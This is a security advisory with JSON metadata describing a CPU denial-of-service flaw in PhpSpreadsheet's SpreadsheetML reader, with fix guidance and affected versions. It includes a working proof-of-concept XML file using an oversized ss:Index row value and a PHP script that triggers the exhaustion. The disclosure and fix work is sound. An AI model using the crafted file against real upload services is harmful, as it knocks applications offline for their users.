GHSA-84WQ-86V6-X5J6
Vulnerability from github – Published: 2026-04-29 20:23 – Updated: 2026-05-13 16:31Summary
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
Details
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
// Xml.php:397-402
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
$rowVisible = ((string) $row_ss['Hidden']) !== '1';
$spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}
The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
$this->endRow = $endRow ?: $this->subject->getHighestRow();
return $this;
}
With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
PoC
- Create
poc.xml:
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
<Worksheet ss:Name="Sheet1">
<Table>
<Row ss:Index="999999999" ss:Hidden="1"/>
<Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
</Table>
</Worksheet>
</Workbook>
- Load and iterate:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
// Never completes
}
Impact
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
- Exhausting server CPU with a single small XML file (~300 bytes)
- Blocking the PHP worker process, potentially affecting all concurrent users
- Triggering PHP max_execution_time limits that still consume resources before killing the process
The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Recommended Fix
Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
// After line 398:
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index'];
if ($rowID > AddressRange::MAX_ROW) {
$rowID = AddressRange::MAX_ROW;
}
}
Add the necessary import at the top of the file:
use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.15"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40863"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:23:27Z",
"nvd_published_at": "2026-05-12T22:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe SpreadsheetML XML reader (`Reader\\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index=\"999999999\"` on a `\u003cRow\u003e` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `\u003cRow\u003e` elements:\n\n```php\n// Xml.php:397-402\nif (isset($row_ss[\u0027Index\u0027])) {\n $rowID = (int) $row_ss[\u0027Index\u0027]; // No validation against MAX_ROW\n}\nif (isset($row_ss[\u0027Hidden\u0027])) {\n $rowVisible = ((string) $row_ss[\u0027Hidden\u0027]) !== \u00271\u0027;\n $spreadsheet-\u003egetActiveSheet()-\u003egetRowDimension($rowID)-\u003esetVisible($rowVisible);\n}\n```\n\nThe `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:\n\n```php\n// Worksheet.php:1342-1351\npublic function getRowDimension(int $row): RowDimension\n{\n if (!isset($this-\u003erowDimensions[$row])) {\n $this-\u003erowDimensions[$row] = new RowDimension($row);\n $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n }\n return $this-\u003erowDimensions[$row];\n}\n```\n\nThis inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.\n\nThe `RowIterator` constructor uses `getHighestRow()` as its default end row:\n\n```php\n// RowIterator.php:84-88\npublic function resetEnd(?int $endRow = null): static\n{\n $this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n return $this;\n}\n```\n\nWith `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection \u2014 it returns `true` for all cells.\n\nEven without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.\n\n## PoC\n\n1. Create `poc.xml`:\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\n \u003cWorksheet ss:Name=\"Sheet1\"\u003e\n \u003cTable\u003e\n \u003cRow ss:Index=\"999999999\" ss:Hidden=\"1\"/\u003e\n \u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003etest\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\n \u003c/Table\u003e\n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\n2. Load and iterate:\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xml\u0027);\n$spreadsheet = $reader-\u003eload(\u0027poc.xml\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Outputs: Highest row: 1000000000\n\n// This loop will attempt ~1 billion iterations \u2192 CPU exhaustion\nforeach ($sheet-\u003egetRowIterator() as $row) {\n // Never completes\n}\n```\n\n## Impact\n\nAny PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:\n\n- Exhausting server CPU with a single small XML file (~300 bytes)\n- Blocking the PHP worker process, potentially affecting all concurrent users\n- Triggering PHP max_execution_time limits that still consume resources before killing the process\n\nThe attack requires no authentication \u2014 only the ability to upload or cause the application to process a crafted SpreadsheetML file.\n\n## Recommended Fix\n\nAdd MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:\n\n```php\n// After line 398:\nif (isset($row_ss[\u0027Index\u0027])) {\n $rowID = (int) $row_ss[\u0027Index\u0027];\n if ($rowID \u003e AddressRange::MAX_ROW) {\n $rowID = AddressRange::MAX_ROW;\n }\n}\n```\n\nAdd the necessary import at the top of the file:\n```php\nuse PhpOffice\\PhpSpreadsheet\\Cell\\AddressRange;\n```\n\nThe same validation should also be applied to the `ss:Index` attribute on `\u003cCell\u003e` elements (line 409) for the column dimension.",
"id": "GHSA-84wq-86v6-x5j6",
"modified": "2026-05-13T16:31:32Z",
"published": "2026-04-29T20:23:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40863"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.